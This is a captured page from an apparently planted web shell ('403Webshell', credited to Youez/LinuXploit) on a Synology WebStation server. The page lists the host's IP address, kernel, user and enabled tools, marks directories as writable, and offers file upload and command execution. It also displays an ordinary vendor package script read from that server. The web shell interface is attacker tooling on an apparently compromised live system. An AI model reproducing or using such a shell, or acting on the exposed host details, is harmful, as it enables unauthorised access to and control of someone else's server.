403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/@appstore/WebStation/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/@appstore/WebStation/tools/webstation_pkg_start_change.sh
#!/bin/sh
TARGET=/var/packages/WebStation/target

case $1 in
	--sdk-mod-ver)
		#print SDK support version
		echo 1.0;
		;;
	--name)
		#print package name
		echo "$(/bin/get_key_value /var/packages/WebStation/INFO package)";
		;;
	--pkg-ver)
		#print package version
		echo "$(/bin/get_key_value /var/packages/WebStation/INFO version)";
		;;
	--vendor)
		#printf package vendor
		echo "$(/bin/get_key_value /var/packages/WebStation/INFO maintainer)";
		;;
	--pre)
		;;
	--post)
		if [ "$PKGNAME" = Apache2.4 ] || [ "$PKGNAME" = Apache2.2 ] ; then
			/var/packages/WebStation/target/tools/webstation_systemd_service_tool.sh pkg-WebStation-Gen-Conf ExecStart
		elif [ "$PKGNAME" = ContainerManager ] ; then
			$TARGET/tools/synowebservice service sync
			$TARGET/tools/synowebservice portal force-sync
			$TARGET/tools/synowebservice docker get-tags &
		fi
		$TARGET/tools/synowebservice plugin-pkg sync "$PKGNAME"
		;;
	*)
		echo "Usage: $0 --sdk-mod-ver|--name|--pkg-ver|--vendor|--pre|--post"
		;;
esac


Youez - 2016 - github.com/yon3zu
LinuXploit